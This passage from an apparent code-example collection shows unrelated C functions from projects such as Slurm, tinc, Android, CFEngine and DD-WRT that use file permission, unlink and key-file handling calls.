		perror("looking for late-arriving records");
		goto finished2;
	}

	/* reopen new logfile in append mode, since slurmctld may write it */
	if (freopen(filein, "a", new_logfile) == NULL) {
		perror("reopening new logfile");
		goto finished2;
	}

	while (fgets(line, BUFFER_SIZE, fd)) {
		if (fputs(line, new_logfile)<0) {
			perror("writing final records");
			goto finished2;
		}
	}
	rc = SLURM_SUCCESS;

	printf("%d jobs expired.\n", list_count(exp_list));
finished2:
	fclose(new_logfile);
	if (!file_err) {
		if (unlink(old_logfile_name) == -1)
			error("Unable to unlink old logfile %s: %m",
			      old_logfile_name);
	}
finished:
	xfree(filein);

	fclose(fd);
	list_destroy(exp_list);
	list_destroy(keep_list);
	list_destroy(other_list);
	xfree(old_logfile_name);
	xfree(logfile_name);

	return rc;
}
Exemplo n.º 6
0
int cmd_invite(int argc, char *argv[]) {
	if(argc < 2) {
		fprintf(stderr, "Not enough arguments!\n");
		return 1;
	}

	// Check validity of the new node's name
	if(!check_id(argv[1])) {
		fprintf(stderr, "Invalid name for node.\n");
		return 1;
	}

	char *myname = get_my_name(true);
	if(!myname)
		return 1;

	// Ensure no host configuration file with that name exists
	char filename[PATH_MAX];
	snprintf(filename, sizeof filename, "%s" SLASH "hosts" SLASH "%s", confbase, argv[1]);
	if(!access(filename, F_OK)) {
		fprintf(stderr, "A host config file for %s already exists!\n", argv[1]);
		return 1;
	}

	// If a daemon is running, ensure no other nodes know about this name
	bool found = false;
	if(connect_tincd(false)) {
		sendline(fd, "%d %d", CONTROL, REQ_DUMP_NODES);

		while(recvline(fd, line, sizeof line)) {
			char node[4096];
			int code, req;
			if(sscanf(line, "%d %d %s", &code, &req, node) != 3)
				break;
			if(!strcmp(node, argv[1]))
				found = true;
		}

		if(found) {
			fprintf(stderr, "A node with name %s is already known!\n", argv[1]);
			return 1;
		}
	}

	snprintf(filename, sizeof filename, "%s" SLASH "invitations", confbase);
	if(mkdir(filename, 0700) && errno != EEXIST) {
		fprintf(stderr, "Could not create directory %s: %s\n", filename, strerror(errno));
		return 1;
	}

	// Count the number of valid invitations, clean up old ones
	DIR *dir = opendir(filename);
	if(!dir) {
		fprintf(stderr, "Could not read directory %s: %s\n", filename, strerror(errno));
		return 1;
	}

	errno = 0;
	int count = 0;
	struct dirent *ent;
	time_t deadline = time(NULL) - 604800; // 1 week in the past

	while((ent = readdir(dir))) {
		if(strlen(ent->d_name) != 24)
			continue;
		char invname[PATH_MAX];
		struct stat st;
		snprintf(invname, sizeof invname, "%s" SLASH "%s", filename, ent->d_name);
		if(!stat(invname, &st)) {
			if(deadline < st.st_mtime)
				count++;
			else
				unlink(invname);
		} else {
			fprintf(stderr, "Could not stat %s: %s\n", invname, strerror(errno));
			errno = 0;
		}
	}

	closedir(dir);

	if(errno) {
		fprintf(stderr, "Error while reading directory %s: %s\n", filename, strerror(errno));
		return 1;
	}
		
	ecdsa_t *key;
	snprintf(filename, sizeof filename, "%s" SLASH "invitations" SLASH "ed25519_key.priv", confbase);

	// Remove the key if there are no outstanding invitations.
	if(!count)
		unlink(filename);

	// Create a new key if necessary.
	FILE *f = fopen(filename, "r");
	if(!f) {
		if(errno != ENOENT) {
			fprintf(stderr, "Could not read %s: %s\n", filename, strerror(errno));
			return 1;
		}

		key = ecdsa_generate();
		if(!key)
			return 1;
		f = fopen(filename, "w");
		if(!f) {
			fprintf(stderr, "Could not write %s: %s\n", filename, strerror(errno));
			return 1;
		}
		chmod(filename, 0600);
		if(!ecdsa_write_pem_private_key(key, f)) {
			fprintf(stderr, "Could not write ECDSA private key\n");
			fclose(f);
			return 1;
		}
		fclose(f);

		if(connect_tincd(false))
			sendline(fd, "%d %d", CONTROL, REQ_RELOAD);
	} else {
		key = ecdsa_read_pem_private_key(f);
		fclose(f);
		if(!key)
			fprintf(stderr, "Could not read private key from %s\n", filename);
	}

	if(!key)
		return 1;

	// Create a hash of the key.
	char hash[64];
	char *fingerprint = ecdsa_get_base64_public_key(key);
	sha512(fingerprint, strlen(fingerprint), hash);
	b64encode_urlsafe(hash, hash, 18);

	// Create a random cookie for this invitation.
	char cookie[25];
	randomize(cookie, 18);

	// Create a filename that doesn't reveal the cookie itself
	char buf[18 + strlen(fingerprint)];
	char cookiehash[64];
	memcpy(buf, cookie, 18);
	memcpy(buf + 18, fingerprint, sizeof buf - 18);
	sha512(buf, sizeof buf, cookiehash);
	b64encode_urlsafe(cookiehash, cookiehash, 18);

	b64encode_urlsafe(cookie, cookie, 18);

	// Create a file containing the details of the invitation.
	snprintf(filename, sizeof filename, "%s" SLASH "invitations" SLASH "%s", confbase, cookiehash);
	int ifd = open(filename, O_RDWR | O_CREAT | O_EXCL, 0600);
	if(!ifd) {
		fprintf(stderr, "Could not create invitation file %s: %s\n", filename, strerror(errno));
		return 1;
	}
	f = fdopen(ifd, "w");
	if(!f)
		abort();

	// Get the local address
	char *address = get_my_hostname();

	// Fill in the details.
	fprintf(f, "Name = %s\n", argv[1]);
	if(netname)
		fprintf(f, "NetName = %s\n", netname);
	fprintf(f, "ConnectTo = %s\n", myname);

	// Copy Broadcast and Mode
	FILE *tc = fopen(tinc_conf, "r");
	if(tc) {
		char buf[1024];
		while(fgets(buf, sizeof buf, tc)) {
			if((!strncasecmp(buf, "Mode", 4) && strchr(" \t=", buf[4]))
					|| (!strncasecmp(buf, "Broadcast", 9) && strchr(" \t=", buf[9]))) {
				fputs(buf, f);
				// Make sure there is a newline character.
				if(!strchr(buf, '\n'))
					fputc('\n', f);
			}
		}
		fclose(tc);
	}

	fprintf(f, "#---------------------------------------------------------------#\n");
	fprintf(f, "Name = %s\n", myname);

	char filename2[PATH_MAX];
	snprintf(filename2, sizeof filename2, "%s" SLASH "hosts" SLASH "%s", confbase, myname);
	fcopy(f, filename2);
	fclose(f);

	// Create an URL from the local address, key hash and cookie
	char *url;
	xasprintf(&url, "%s/%s%s", address, hash, cookie);

	// Call the inviation-created script
	char *envp[6] = {};
	xasprintf(&envp[0], "NAME=%s", myname);
	xasprintf(&envp[1], "NETNAME=%s", netname);
	xasprintf(&envp[2], "NODE=%s", argv[1]);
	xasprintf(&envp[3], "INVITATION_FILE=%s", filename);
	xasprintf(&envp[4], "INVITATION_URL=%s", url);
	execute_script("invitation-created", envp);
	for(int i = 0; i < 6 && envp[i]; i++)
		free(envp[i]);

	puts(url);
	free(url);
	free(address);

	return 0;
}
int unlinklib(const char* dataDir)
{
    char libdir[PKG_PATH_MAX];
    struct stat s, libStat;
    int rc = 0;

    const size_t libdirLen = strlen(dataDir) + strlen(PKG_LIB_POSTFIX);
    if (libdirLen >= PKG_PATH_MAX) {
        return -1;
    }

    if (snprintf(libdir, sizeof(libdir), "%s%s", dataDir, PKG_LIB_POSTFIX) != (ssize_t)libdirLen) {
        LOGE("library dir not written successfully: %s\n", strerror(errno));
        return -1;
    }

    if (stat(dataDir, &s) < 0) {
        LOGE("couldn't state data dir");
        return -1;
    }

    if (chown(dataDir, 0, 0) < 0) {
        LOGE("failed to chown '%s': %s\n", dataDir, strerror(errno));
        return -1;
    }

    if (chmod(dataDir, 0700) < 0) {
        LOGE("failed to chmod '%s': %s\n", dataDir, strerror(errno));
        rc = -1;
        goto out;
    }

    if (lstat(libdir, &libStat) < 0) {
        LOGE("couldn't stat lib dir: %s\n", strerror(errno));
        rc = -1;
        goto out;
    }

    if (S_ISDIR(libStat.st_mode)) {
        if (delete_dir_contents(libdir, 1, 0) < 0) {
            rc = -1;
            goto out;
        }
    } else if (S_ISLNK(libStat.st_mode)) {
        if (unlink(libdir) < 0) {
            rc = -1;
            goto out;
        }
    }

    if (mkdir(libdir, 0755) < 0) {
        LOGE("cannot create dir '%s': %s\n", libdir, strerror(errno));
        rc = -errno;
        goto out;
    }

    if (chown(libdir, AID_SYSTEM, AID_SYSTEM) < 0) {
        LOGE("cannot chown dir '%s': %s\n", libdir, strerror(errno));
        unlink(libdir);
        rc = -errno;
        goto out;
    }

out:
    if (chmod(dataDir, s.st_mode) < 0) {
        LOGE("failed to chmod '%s': %s\n", dataDir, strerror(errno));
        return -1;
    }

    if (chown(dataDir, s.st_uid, s.st_gid) < 0) {
        LOGE("failed to chown '%s' : %s\n", dataDir, strerror(errno));
        return -1;
    }

    return rc;
}
Exemplo n.º 8
0
int
main (int argc, char *argv[])
{
    fd_set master;
    fd_set read_fds;
    struct sockaddr_in serveraddr;
    struct sockaddr_in clientaddr;
    int fdmax;
    int newfd;
    char buf[1024];
    int nbytes;
    int addrlen;
    int yes, ret;
    int epfd = -1;
    int res = -1;
    struct epoll_event ev;
    int i = 0;
    int index = 0;
    int listen_fd, client_fd = -1;
    struct sockaddr_un clt_addr;
    struct sockaddr_un srv_addr;

    int SnumOfConnection = 0;
    time_t Sstart, Send;

    //创建用于通信的套接字,通信域为UNIX通信域

    listen_fd = socket (AF_UNIX, SOCK_STREAM, 0);
    if (listen_fd < 0)
      {
	  perror ("cannot create listening socket");
      }
    else
      {
	  //设置服务器地址参数
	  srv_addr.sun_family = AF_UNIX;
	  strncpy (srv_addr.sun_path, UNIX_DOMAIN,
		   sizeof (srv_addr.sun_path) - 1);
	  unlink (UNIX_DOMAIN);
	  //绑定套接字与服务器地址信息
	  ret =
	      bind (listen_fd, (struct sockaddr *) &srv_addr,
		    sizeof (srv_addr));
	  if (ret == -1)
	    {
		perror ("cannot bind server socket");
		close (listen_fd);
		unlink (UNIX_DOMAIN);
		exit (1);
	    }
      }

    ret = listen (listen_fd, 1);
    if (ret == -1)
      {
	  perror ("cannot listen the client connect request");
	  close (listen_fd);
	  unlink (UNIX_DOMAIN);
	  exit (1);
      }
    chmod (UNIX_DOMAIN, 00777);	//设置通信文件权限


    fdmax = listen_fd;		/* so far, it's this one */

    events = calloc (MAX_CON, sizeof (struct epoll_event));
    if ((epfd = epoll_create (MAX_CON)) == -1)
      {
	  perror ("epoll_create");
	  exit (1);
      }
    ev.events = EPOLLIN;
    ev.data.fd = fdmax;
    if (epoll_ctl (epfd, EPOLL_CTL_ADD, fdmax, &ev) < 0)
      {
	  perror ("epoll_ctl");
	  exit (1);
      }
    //time(&start);
    for (;;)
      {
	  res = epoll_wait (epfd, events, MAX_CON, -1);
	  client_fd = events[index].data.fd;

	  for (index = 0; index < MAX_CON; index++)
	    {
		if (client_fd == listen_fd)
		  {
		      addrlen = sizeof (clientaddr);
		      if ((newfd =
			   accept (listen_fd, (struct sockaddr *) &clientaddr,
				   &addrlen)) == -1)
			{
			    perror ("Server-accept() error lol!");
			}
		      else
			{
			    //      printf("Server-accept() is OK...\n");
			    ev.events = EPOLLIN;
			    ev.data.fd = newfd;
			    if (epoll_ctl (epfd, EPOLL_CTL_ADD, newfd, &ev) <
				0)
			      {
				  perror ("epoll_ctl");
				  exit (1);
			      }
			}
		      break;
		  }
		else
		  {
		      if (events[index].events & EPOLLHUP)
			{
			    if (epoll_ctl
				(epfd, EPOLL_CTL_DEL, client_fd, &ev) < 0)
			      {
				  perror ("epoll_ctl");
			      }
			    close (client_fd);
			    break;
			}
		      if (events[index].events & EPOLLIN)
			{
			    if ((nbytes =
				 recv (client_fd, buf, sizeof (buf), 0)) <= 0)
			      {
				  if (nbytes == 0)
				    {
					//      printf("socket %d hung up\n", client_fd);
				    }
				  else
				    {
					printf ("recv() error lol! %d",
						client_fd);
					perror ("");
				    }

				  if (epoll_ctl
				      (epfd, EPOLL_CTL_DEL, client_fd,
				       &ev) < 0)
				    {
					perror ("epoll_ctl");
				    }
				  close (client_fd);
			      }
			    else
			      {
				  printf ("recv %s", buf);
				  if (send (client_fd, buf, nbytes, 0) == -1)
				      perror ("send() error lol!");
			      }
			    break;
			}
		  }
	    }
      }
    return 0;
}
Exemplo n.º 9
0
void server(uint16_t src, const char *keystoredir, int num_interfaces, struct interface **interfaces) {
    
    int i, j;
    
    struct interface *interface = *interfaces;
    
    char *privatekeyfile, *publickeyfile, linkkeyfile[strlen(keystoredir) + 20];
    char genrsa_command[1000];
    FILE *file_privatekey, *file_publickey, *file_linkkey;
    
    uint16_t file_public_size, file_private_size;
    
    char agree[6] = "Agree";
    unsigned char *buffer_publickey, *buffer_privatekey, buffer_sock[MTU], *encrypted_linkkey, linkkey[LINKKEY_LENGTH];
    
    struct layer2 *l2;
    //struct layer3 *l3;
    struct layer4_linkkeyexchange *l4;
    struct layer4_linkkeyexchange_pubkey *l4_pubkey;
    struct layer4_linkkeyexchange_propose *l4_propose;
    size_t header_length;
    
    // Socket and its filter
    ssize_t recvlen;
    int sockfd[num_interfaces];
    struct sockaddr_ll sa[num_interfaces];
    struct packet_mreq mreq[num_interfaces];
    struct sock_fprog prog_filter;
    struct sock_filter incoming_filter[] = {    // ether[2]=2 and (ether[8]=0 or ether[8]=2) and !(ether[0]=0xff and ether[1]=0xee)
        { 0x30, 0, 0, 0x00000002 }, // Position of Layer3:Type
        { 0x15, 0, 8, 0x00000002 }, //   2 means Link Key Exchange Packet
        { 0x30, 0, 0, 0x00000008 }, // Position of Layer4:LinkKeyExchange:Type
        { 0x15, 1, 0, 0x00000000 }, //   0 means Link Key Exchange Request Packet  OR
        { 0x15, 0, 5, 0x00000002 }, //   2 means Proposed Link Key
        { 0x30, 0, 0, 0x00000000 },
        { 0x15, 0, 2, 0x000000ff }, // value of ether[0]
        { 0x30, 0, 0, 0x00000001 },
        { 0x15, 1, 0, 0x000000ee }, // value of ether[1]
        { 0x6, 0, 0, 0x0000ffff },
        { 0x6, 0, 0, 0x00000000 },
    };
    incoming_filter[2].k = (uint32_t)(sizeof(struct layer2) + sizeof(struct layer3)); // Set position of Layer4:LinkKeyExchange:Type
    incoming_filter[6].k = (uint32_t)((src>>8) & 0xff);     // Filter out all outgoing messages
    incoming_filter[8].k = (uint32_t)(src & 0xff);
    prog_filter.len = 11;
    prog_filter.filter = incoming_filter;
    
    // Select()
    int selectval, sockfd_max = -1;
    fd_set readfds;
    FD_ZERO(&readfds);
    
    l2 = (struct layer2 *) buffer_sock;
    //l3 = (struct layer3 *) (buffer_sock + sizeof(struct layer2));
    l4 = (struct layer4_linkkeyexchange *) (buffer_sock + sizeof(struct layer2) + sizeof(struct layer3));
    l4_pubkey  = (struct layer4_linkkeyexchange_pubkey *) (buffer_sock + sizeof(struct layer2) + sizeof(struct layer3));
    l4_propose = (struct layer4_linkkeyexchange_propose *) (buffer_sock + sizeof(struct layer2) + sizeof(struct layer3));
    header_length = sizeof(struct layer2) + sizeof(struct layer3);

    
    // Construct the full path to public/private key file
    privatekeyfile = (char *) malloc(strlen(keystoredir) + strlen("/private.pem") + 1);
    publickeyfile  = (char *) malloc(strlen(keystoredir) + strlen("/public.pem") + 1);
    strcpy(privatekeyfile, keystoredir);
    strcat(privatekeyfile, "/private.pem");
    strcpy(publickeyfile, keystoredir);
    strcat(publickeyfile, "/public.pem");
    
    // Read private key
    while (!(file_privatekey = fopen(privatekeyfile, "rb"))) {
        
        printf("RSA private key does not exist\n");
        
        // Construct a shell command for generating an RSA public/private key pair
        sprintf(genrsa_command,
            "/usr/bin/openssl genrsa -out %s %d && /usr/bin/openssl rsa -in %s -outform PEM -pubout -out %s && chmod 400 %s %s",
            privatekeyfile, RSA_KEY_LENGTH_BIT, privatekeyfile, publickeyfile, privatekeyfile, publickeyfile
        );
        
        // Execute the shell command
        if (system(genrsa_command) != 0) {
            fprintf(stderr, "Error: could not generate an RSA public/private key pair");
            return;
        }
    }
    
    // Get the size of the private key file
    fseeko(file_privatekey, 0 , SEEK_END);
    file_private_size = (uint16_t) ftello(file_privatekey);
    fseeko(file_privatekey, 0 , SEEK_SET);
    
    buffer_privatekey = (unsigned char *) malloc(file_private_size);
    
    // Read the public key file into buffer
    if (!fread(buffer_privatekey, file_private_size, 1, file_privatekey) == file_private_size) {
        fprintf(stderr, "Error: error reading private key file");
        return;
    }
    
    // Read public key
    file_publickey = fopen(publickeyfile, "rb");
    
    // Get the size of the public key file
    fseeko(file_publickey, 0 , SEEK_END);
    file_public_size = (uint16_t) ftello(file_publickey);
    fseeko(file_publickey, 0 , SEEK_SET);
    
    buffer_publickey = (unsigned char *) malloc(file_public_size);
    
    // Read the public key file into buffer
    if (!fread(buffer_publickey, file_public_size, 1, file_publickey) == file_public_size) {
        fprintf(stderr, "Error: error reading public key file");
        return;
    }
    

    
//    int i;
//    for (i=0; i<file_public_size; i++) {
//        printf("%c", buffer_publickey[i]);
//    }
//    
//    printf("%u", file_public_size);
    
    // Initialize socket buffer
    memset(buffer_sock, 0, sizeof(buffer_sock));

    
    // Prepare interface and socket
    for (i=0; i<num_interfaces; i++) {
        sa[i].sll_family = PF_PACKET;
        sa[i].sll_ifindex = interface[i].interface_index;
        sa[i].sll_halen = 0;
        sa[i].sll_protocol = htons(ETH_P_ALL);
        sa[i].sll_hatype = 0;
        sa[i].sll_pkttype = 0;
        mreq[i].mr_ifindex = interface[i].interface_index;
        mreq[i].mr_type = PACKET_MR_PROMISC;
        mreq[i].mr_alen = 0;
        
        // Create Socket
        if ((sockfd[i] = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
            fprintf(stderr, "Error: cannot create raw socket in server()\n");
            exit(1);
        }
        
        // Set Promiscuous mode and filter
        if (setsockopt(sockfd[i], SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq[i], sizeof(mreq[i])) < 0) {
            fprintf(stderr, "Error: cannot set PACKET_ADD_MEMBERSHIP + PACKET_MR_PROMISC in server()\n");
            exit(2);
        }
        if (setsockopt(sockfd[i], SOL_SOCKET, SO_ATTACH_FILTER, &prog_filter, sizeof(prog_filter)) < 0)
        {
            fprintf(stderr, "Error: cannot set SO_ATTACH_FILTER in server()\n");
            exit(2);
        }
        
        // Bind socket to interface
        if(bind(sockfd[i] ,(struct sockaddr *) &sa[i], sizeof(sa[i])) <0) {
            fprintf(stderr, "Error bind raw socket failed in server()\n");
            exit(3);
        }
        
        // Add the sockfd to the fd set
        FD_SET(sockfd[i], &readfds);
        if (sockfd[i] > sockfd_max) {
            sockfd_max = sockfd[i];
        }

    }

    while (1) {
        
        // Blocking call, wait for sockets to get ready
        selectval = select(sockfd_max+1, &readfds, NULL, NULL, NULL);

        if (selectval == -1) {
            perror("select");
        }
        else {
            for (i=0; i<num_interfaces; i++) {
                if (FD_ISSET(sockfd[i], &readfds)) {
                    
                    recvlen = recv(sockfd[i], buffer_sock, MTU, 0);
                    
                    if (recvlen < header_length + sizeof(struct layer4_linkkeyexchange)) {
                        break;
                    }
                    
                    if (l4->type == TYPE_LINKKEYEXCHANGE_REQUEST) { // Receive a 'Link Key Exchange Request' packet
                        
                        printf("Recv Request from host=%d exchangeid=0x%.2x\n", ntohs(l2->original_source_addr), l4->exchgid);
                        
                        // Reply with a 'Public Key Response' packet
                        l2->original_source_addr = htons(src);
                        l4->type = TYPE_LINKKEYEXCHANGE_PUBKEY;
                        l4_pubkey->pubkeylen = htons(file_public_size);
                        memcpy(buffer_sock + header_length + sizeof(struct layer4_linkkeyexchange_pubkey), buffer_publickey, file_public_size);
                        
                        send(sockfd[i], buffer_sock, header_length + sizeof(struct layer4_linkkeyexchange_pubkey) + file_public_size, 0);
                        printf("Send PublicKey exchangeid=0x%.2x\n", l4->exchgid);
                        
                    }
                    else if (l4->type == TYPE_LINKKEYEXCHANGE_PROPOSE) { // Receive a 'Proposed Link Key' packet
                        
                        printf("Recv Proposed Link Key from host=%d exchangeid=0x%.2x\n", ntohs(l2->original_source_addr), l4->exchgid);
                        
                        // Get the encrypted link key
                        encrypted_linkkey = buffer_sock + header_length + sizeof(struct layer4_linkkeyexchange_propose);

                        #ifdef _DEBUG
                        printf("Encrypted Key|IV = ");
                        for (j=0; j<ntohs(l4_propose->enclinkkeylen); j++) {
                            printf("%.2x", encrypted_linkkey[j]);
                        }
                        printf("\n");
                        #endif
                        
                        // Decrypt to obtain the link key
                        private_decrypt(encrypted_linkkey, ntohs(l4_propose->enclinkkeylen), buffer_privatekey, linkkey);
                        
                        #ifdef _DEBUG
                        printf("Key|IV = ");
                        for (j=0; j<LINKKEY_LENGTH; j++) {
                            printf("%.2x", linkkey[j]);
                        }
                        printf("\n");
                        #endif
                        
                        
                        // Construct the link key file name
                        strcpy(linkkeyfile, keystoredir);
                        strcat(linkkeyfile, "/linkkey.");
                        strcat(linkkeyfile, interface[i].interface_name);
                        
                        
                        // Open the file
                        if (!(file_linkkey = fopen(linkkeyfile, "wb"))) {
                            printf("** Failed to write the link key to file %s\n", linkkeyfile);
                            continue;
                        }
                        
                        // Write the link key to a binary file
                        fwrite(linkkey, LINKKEY_LENGTH, 1, file_linkkey);
                        fclose(file_linkkey);
                        
                        // Ensure the file is readable/writeable by only user
                        chmod(linkkeyfile, 0600);
                        
                        printf("** The link key is saved to file %s\n", linkkeyfile);
                        
                        
                        // Reply with an Agree packet
                        l2->original_source_addr = htons(src);
                        l4->type = TYPE_LINKKEYEXCHANGE_AGREE;
                        memcpy(buffer_sock + header_length + sizeof(struct layer4_linkkeyexchange), agree, strlen(agree));
                        
                        send(sockfd[i], buffer_sock, header_length + sizeof(struct layer4_linkkeyexchange) + strlen(agree), 0);
                        printf("Send Agree exchangeid=0x%.2x\n", l4->exchgid);
                        
                    }
                    
                    break;
                }

            }
        }
        
        for (i=0; i<num_interfaces; i++) {
            FD_SET(sockfd[i], &readfds);
        }
        
    }
}
Exemplo n.º 10
0
void KeepKeyPromises(const char *public_key_file, const char *private_key_file)
{
    unsigned long err;
#ifdef OPENSSL_NO_DEPRECATED
    RSA *pair = RSA_new();
    BIGNUM *rsa_bignum = BN_new();
#else
    RSA *pair;
#endif
    FILE *fp;
    struct stat statbuf;
    int fd;
    static char *passphrase = "Cfengine passphrase";
    const EVP_CIPHER *cipher;
    char vbuff[CF_BUFSIZE];

    cipher = EVP_des_ede3_cbc();

    if (stat(public_key_file, &statbuf) != -1)
    {
        printf("A key file already exists at %s\n", public_key_file);
        return;
    }

    if (stat(private_key_file, &statbuf) != -1)
    {
        printf("A key file already exists at %s\n", private_key_file);
        return;
    }

    printf("Making a key pair for cfengine, please wait, this could take a minute...\n");

#ifdef OPENSSL_NO_DEPRECATED
    BN_set_word(rsa_bignum, 35);

    if (!RSA_generate_key_ex(pair, 2048, rsa_bignum, NULL))
#else
    pair = RSA_generate_key(2048, 35, NULL, NULL);

    if (pair == NULL)
#endif
    {
        err = ERR_get_error();
        Log(LOG_LEVEL_ERR, "Unable to generate key: %s", ERR_reason_error_string(err));
        return;
    }

    fd = open(private_key_file, O_WRONLY | O_CREAT | O_TRUNC, 0600);

    if (fd < 0)
    {
        Log(LOG_LEVEL_ERR, "Open '%s' failed. (open: %s)", private_key_file, GetErrorStr());
        return;
    }

    if ((fp = fdopen(fd, "w")) == NULL)
    {
        Log(LOG_LEVEL_ERR, "Couldn't open private key '%s'. (fdopen: %s)", private_key_file, GetErrorStr());
        close(fd);
        return;
    }

    Log(LOG_LEVEL_VERBOSE, "Writing private key to '%s'", private_key_file);

    if (!PEM_write_RSAPrivateKey(fp, pair, cipher, passphrase, strlen(passphrase), NULL, NULL))
    {
        err = ERR_get_error();
        Log(LOG_LEVEL_ERR, "Couldn't write private key. (PEM_write_RSAPrivateKey: %s)", ERR_reason_error_string(err));
        return;
    }

    fclose(fp);

    fd = open(public_key_file, O_WRONLY | O_CREAT | O_TRUNC, 0600);

    if (fd < 0)
    {
        Log(LOG_LEVEL_ERR, "Unable to open public key '%s'. (open: %s)",
            public_key_file, GetErrorStr());
        return;
    }

    if ((fp = fdopen(fd, "w")) == NULL)
    {
        Log(LOG_LEVEL_ERR, "Open '%s' failed. (fdopen: %s)", public_key_file, GetErrorStr());
        close(fd);
        return;
    }

    Log(LOG_LEVEL_VERBOSE, "Writing public key to %s", public_key_file);

    if (!PEM_write_RSAPublicKey(fp, pair))
    {
        err = ERR_get_error();
        Log(LOG_LEVEL_ERR, "Unable to write public key: %s", ERR_reason_error_string(err));
        return;
    }

    fclose(fp);

    snprintf(vbuff, CF_BUFSIZE, "%s/randseed", CFWORKDIR);
    RAND_write_file(vbuff);
    chmod(vbuff, 0644);
}
Exemplo n.º 11
0
void start_dnsmasq(void)
{
	FILE *fp;
	struct dns_lists *dns_list = NULL;
	int ret;
	int i;

	if (nvram_match("dhcp_dnsmasq", "1")
	    && nvram_match("lan_proto", "dhcp")
	    && nvram_match("dnsmasq_enable", "0")) {
		nvram_set("dnsmasq_enable", "1");
		nvram_commit();
	}

	if (!nvram_invmatch("dnsmasq_enable", "0")) {
		stop_dnsmasq();
		return;
	}

	usejffs = 0;

	if (nvram_match("dhcpd_usejffs", "1")) {
		if (!(fp = fopen("/jffs/dnsmasq.leases", "a"))) {
			usejffs = 0;
		} else {
			fclose(fp);
			usejffs = 1;
		}
	}

	/*
	 * Write configuration file based on current information 
	 */
	if (!(fp = fopen("/tmp/dnsmasq.conf", "w"))) {
		perror("/tmp/dnsmasq.conf");
		return;
	}
//    fprintf(fp, "bind-interfaces\n");
	if (nvram_match("chilli_enable", "1")) {
		if (canlan())
			fprintf(fp, "interface=%s", get_wdev());
		else
			fprintf(fp, "interface=%s,", get_wdev());
	} else if (nvram_match("pptpd_enable", "1")) {
		if (canlan())
			fprintf(fp, "listen-address=%s,%s", "127.0.0.1",
				nvram_safe_get("lan_ipaddr"));
		else
			fprintf(fp, "listen-address=%s", "127.0.0.1");
	} else {
		if (canlan())
			fprintf(fp, "interface=%s",
				nvram_safe_get("lan_ifname"));
		else
			fprintf(fp, "interface=");
	}
	int mdhcpcount = 0;

	if (nvram_get("mdhcpd_count") != NULL) {
		mdhcpcount = atoi(nvram_safe_get("mdhcpd_count"));
		for (i = 0; i < mdhcpcount; i++) {
			if (strlen(nvram_nget("%s_ipaddr", getmdhcp(0, i))) == 0
			    || strlen(nvram_nget("%s_netmask", getmdhcp(0, i)))
			    == 0)
				continue;
			if (canlan() || i > 0) {
				if (nvram_match("pptpd_enable", "1"))
					fprintf(fp, ",%s",
						nvram_nget("%s_ipaddr",
							   getmdhcp(0, i)));
				else
					fprintf(fp, ",%s", getmdhcp(0, i));
			} else {
				if (nvram_match("pptpd_enable", "1"))
					fprintf(fp, "%s",
						nvram_nget("%s_ipaddr",
							   getmdhcp(0, i)));
				else
					fprintf(fp, "%s", getmdhcp(0, i));

			}
		}
	}
	fprintf(fp, "\n");

	fprintf(fp, "resolv-file=/tmp/resolv.dnsmasq\n" "all-servers\n"); //

	/*
	 * Domain 
	 */
	if (nvram_match("dhcp_domain", "wan")) {
		if (nvram_invmatch("wan_domain", ""))
			fprintf(fp, "domain=%s\n",
				nvram_safe_get("wan_domain"));
		else if (nvram_invmatch("wan_get_domain", ""))
			fprintf(fp, "domain=%s\n",
				nvram_safe_get("wan_get_domain"));
	} else {
		if (nvram_invmatch("lan_domain", ""))
			fprintf(fp, "domain=%s\n",
				nvram_safe_get("lan_domain"));
	}

	/*
	 * DD-WRT use dnsmasq as DHCP replacement 
	 */

	//bs mod
	if (hasdhcp()) {
		/*
		 * DHCP leasefile 
		 */
		if (nvram_match("dhcpd_usenvram", "1")) {
			fprintf(fp, "leasefile-ro\n");
			fprintf(fp, "dhcp-script=%s\n", "/etc/lease_update.sh");
		} else {
			if (usejffs)
				fprintf(fp,
					"dhcp-leasefile=/jffs/dnsmasq.leases\n");
			else
				fprintf(fp,
					"dhcp-leasefile=/tmp/dnsmasq.leases\n");
		}

		int dhcp_max = 0;

		if (landhcp())
			dhcp_max +=
			    atoi(nvram_safe_get("dhcp_num")) +
			    atoi(nvram_safe_get("static_leasenum"));
		for (i = 0; i < mdhcpcount; i++) {
			if (strlen(nvram_nget("%s_ipaddr", getmdhcp(0, i))) == 0
			    || strlen(nvram_nget("%s_netmask", getmdhcp(0, i)))
			    == 0)
				continue;
			dhcp_max += atoi(getmdhcp(3, i));
		}
		fprintf(fp, "dhcp-lease-max=%d\n", dhcp_max);
		if (landhcp())
			fprintf(fp, "dhcp-option=lan,3,%s\n",
				nvram_safe_get("lan_ipaddr"));
		for (i = 0; i < mdhcpcount; i++) {
			if (strlen(nvram_nget("%s_ipaddr", getmdhcp(0, i))) == 0
			    || strlen(nvram_nget("%s_netmask", getmdhcp(0, i)))
			    == 0)
				continue;
			fprintf(fp, "dhcp-option=%s,3,", getmdhcp(0, i));
			fprintf(fp, "%s\n",
				nvram_nget("%s_ipaddr", getmdhcp(0, i)));
		}
		if (nvram_invmatch("wan_wins", "")
		    && nvram_invmatch("wan_wins", "0.0.0.0"))
			fprintf(fp, "dhcp-option=44,%s\n",
				nvram_safe_get("wan_wins"));

		if (nvram_match("dns_dnsmasq", "0")) {
			dns_list = get_dns_list();

			if (dns_list
			    && (strlen(dns_list->dns_server[0]) > 0
				|| strlen(dns_list->dns_server[1]) > 0
				|| strlen(dns_list->dns_server[2]) > 0)) {

				fprintf(fp, "dhcp-option=6");

				if (strlen(dns_list->dns_server[0]) > 0)
					fprintf(fp, ",%s",
						dns_list->dns_server[0]);

				if (strlen(dns_list->dns_server[1]) > 0)
					fprintf(fp, ",%s",
						dns_list->dns_server[1]);

				if (strlen(dns_list->dns_server[2]) > 0)
					fprintf(fp, ",%s",
						dns_list->dns_server[2]);

				fprintf(fp, "\n");
			}

			if (dns_list)
				free(dns_list);
		}

		if (nvram_match("auth_dnsmasq", "1"))
			fprintf(fp, "dhcp-authoritative\n");
		if (landhcp()) {
			fprintf(fp, "dhcp-range=lan,");
			fprintf(fp, "%d.%d.%d.%s,",
				get_single_ip(nvram_safe_get("lan_ipaddr"), 0),
				get_single_ip(nvram_safe_get("lan_ipaddr"), 1),
				get_single_ip(nvram_safe_get("lan_ipaddr"), 2),
				nvram_safe_get("dhcp_start"));
			if (nvram_match("dhcp_num", "0")) {
				fprintf(fp, "static,");
			} else {
				fprintf(fp, "%d.%d.%d.%d,",
